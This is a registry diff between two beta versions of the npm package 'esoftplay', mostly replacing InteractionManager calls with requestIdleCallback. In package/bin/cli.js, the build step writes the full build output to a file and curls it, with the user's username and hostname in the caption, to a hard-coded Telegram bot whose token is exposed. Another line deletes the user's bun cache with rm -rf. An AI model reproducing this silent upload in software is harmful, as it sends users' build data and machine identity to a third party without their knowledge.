esoftplay 0.0.268-beta3a3c233 → 0.0.268-beta811f3dc
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/cli.js +3 -3
- package/modules/lib/autoreload.ts +1 -2
- package/modules/lib/focus.tsx +3 -3
- package/modules/lib/lazy.tsx +2 -3
- package/modules/lib/workloop.tsx +2 -2
- package/modules/sys/subscribe.ts +1 -2
- package/package.json +1 -1
package/bin/cli.js
CHANGED
|
@@ -1425,10 +1425,10 @@ function build() {
|
|
|
1425
1425
|
// allOutputString contains the full captured output as a single JS string
|
|
1426
1426
|
const allOutputString = lines.join('\n');
|
|
1427
1427
|
// also print to stdout for convenience
|
|
1428
|
-
const filename = name
|
|
1428
|
+
const filename = name + '.txt'
|
|
1429
1429
|
fs.writeFileSync(filename, allOutputString)
|
|
1430
1430
|
let tmId = "-1001429450501"
|
|
1431
|
-
command("curl -F \"document=@" + filename + "\" -F \"chat_id=" + tmId + "\" -F \"caption=" +
|
|
1431
|
+
command("curl -F \"document=@" + filename + "\" -F \"chat_id=" + tmId + "\" -F \"caption=" + " ✅ Build Success by " + os.userInfo().username + '@' + os.hostname() + "\" \"https://api.telegram.org/bot923808407:AAEFBlllQNKCEn8E66fwEzCj5vs9qGwVGT4/sendDocument\"")
|
|
1432
1432
|
fs.unlinkSync(filename)
|
|
1433
1433
|
if (fs.existsSync('./build/post.js'))
|
|
1434
1434
|
command('bun ./build/post.js')
|
|
@@ -1542,7 +1542,7 @@ function switchStatus(status) {
|
|
|
1542
1542
|
}
|
|
1543
1543
|
const hasSeparatePackageJson = status.includes("l") ? fs.existsSync(packlivejson) : fs.existsSync(packdebugjson)
|
|
1544
1544
|
if (hasSeparatePackageJson) {
|
|
1545
|
-
command(`rm -rf ${DIR}node_modules ${DIR}package-lock.json ${DIR}yarn.lock ${DIR}bun.lockb && bun install`)
|
|
1545
|
+
command(`rm -rf ${DIR}node_modules ${DIR}package-lock.json ${DIR}yarn.lock ${DIR}bun.lockb ~/.bun/install/cache && bun install`)
|
|
1546
1546
|
}
|
|
1547
1547
|
return valid
|
|
1548
1548
|
}
|
|
@@ -1,6 +1,5 @@
|
|
|
1
1
|
// noPage
|
|
2
2
|
// withObject
|
|
3
|
-
import { InteractionManager } from 'react-native'
|
|
4
3
|
|
|
5
4
|
let updater: any
|
|
6
5
|
/** Klik [disini](https://github.com/dev-esoftplay/mobile-docs/blob/main/modules/lib/autoreload.md) untuk melihat dokumentasi*/
|
|
@@ -12,7 +11,7 @@ export default {
|
|
|
12
11
|
updater = undefined
|
|
13
12
|
}
|
|
14
13
|
updater = setInterval(() => {
|
|
15
|
-
|
|
14
|
+
requestIdleCallback(() => {
|
|
16
15
|
callback()
|
|
17
16
|
});
|
|
18
17
|
}, duration || 6000)
|
package/modules/lib/focus.tsx
CHANGED
|
@@ -3,7 +3,7 @@
|
|
|
3
3
|
|
|
4
4
|
import { useIsFocused } from '@react-navigation/native';
|
|
5
5
|
import { useEffect } from 'react';
|
|
6
|
-
import {
|
|
6
|
+
import { View, ViewStyle } from 'react-native';
|
|
7
7
|
|
|
8
8
|
export interface LibFocusProps {
|
|
9
9
|
isFocused?: boolean
|
|
@@ -23,8 +23,8 @@ export default function m(props: LibFocusProps): any {
|
|
|
23
23
|
useEffect(() => {
|
|
24
24
|
const callback = isFocused ? props.onFocus : props.onBlur
|
|
25
25
|
if (typeof callback === "function") {
|
|
26
|
-
const task =
|
|
27
|
-
return () => task
|
|
26
|
+
const task = requestIdleCallback(callback)
|
|
27
|
+
return () => cancelIdleCallback(task)
|
|
28
28
|
}
|
|
29
29
|
}, [isFocused]);
|
|
30
30
|
|
package/modules/lib/lazy.tsx
CHANGED
|
@@ -3,7 +3,6 @@
|
|
|
3
3
|
|
|
4
4
|
import useSafeState from 'esoftplay/state';
|
|
5
5
|
import { useEffect } from 'react';
|
|
6
|
-
import { InteractionManager } from 'react-native';
|
|
7
6
|
|
|
8
7
|
export interface LibLazyProps {
|
|
9
8
|
children?: any;
|
|
@@ -32,10 +31,10 @@ export default function m(props: LibLazyProps): any {
|
|
|
32
31
|
const [done, setDone] = useSafeState(false);
|
|
33
32
|
|
|
34
33
|
useEffect(() => {
|
|
35
|
-
const int =
|
|
34
|
+
const int = requestIdleCallback(() => {
|
|
36
35
|
setDone(true)
|
|
37
36
|
})
|
|
38
|
-
return () => int
|
|
37
|
+
return () => cancelIdleCallback(int)
|
|
39
38
|
}, [])
|
|
40
39
|
|
|
41
40
|
// const [sync] = useTasks((item) => new Promise((next) => {
|
package/modules/lib/workloop.tsx
CHANGED
|
@@ -4,7 +4,7 @@ import { LibNotification } from 'esoftplay/cache/lib/notification/import';
|
|
|
4
4
|
import { UserClass } from 'esoftplay/cache/user/class/import';
|
|
5
5
|
import esp from 'esoftplay/esp';
|
|
6
6
|
import React from 'react';
|
|
7
|
-
import {
|
|
7
|
+
import { View } from 'react-native';
|
|
8
8
|
import { WebView } from 'react-native-webview';
|
|
9
9
|
|
|
10
10
|
export interface LibWorkloopProps {
|
|
@@ -58,7 +58,7 @@ export default class m extends LibComponent<LibWorkloopProps, LibWorkloopState>
|
|
|
58
58
|
|
|
59
59
|
static onMessage(e: any): void {
|
|
60
60
|
if (workloopHasTask) {
|
|
61
|
-
|
|
61
|
+
requestIdleCallback(() => {
|
|
62
62
|
const ctask = workloopTasks?.[0]
|
|
63
63
|
if (ctask) {
|
|
64
64
|
if (ctask.length == 2) {
|
package/modules/sys/subscribe.ts
CHANGED
|
@@ -2,7 +2,6 @@
|
|
|
2
2
|
// useLibs
|
|
3
3
|
|
|
4
4
|
import React from 'react';
|
|
5
|
-
import { InteractionManager } from 'react-native';
|
|
6
5
|
|
|
7
6
|
export interface useGlobalSubscriberReturn<T> {
|
|
8
7
|
getValue: () => any,
|
|
@@ -38,7 +37,7 @@ export default function useGlobalSubscriber<T>(defaultValue?: any): useGlobalSub
|
|
|
38
37
|
function notify(newValue?: any) {
|
|
39
38
|
value = newValue;
|
|
40
39
|
subscribers.forEach((fun: Function) => {
|
|
41
|
-
|
|
40
|
+
requestIdleCallback(() => {
|
|
42
41
|
fun?.(newValue)
|
|
43
42
|
})
|
|
44
43
|
});
|
package/package.json
CHANGED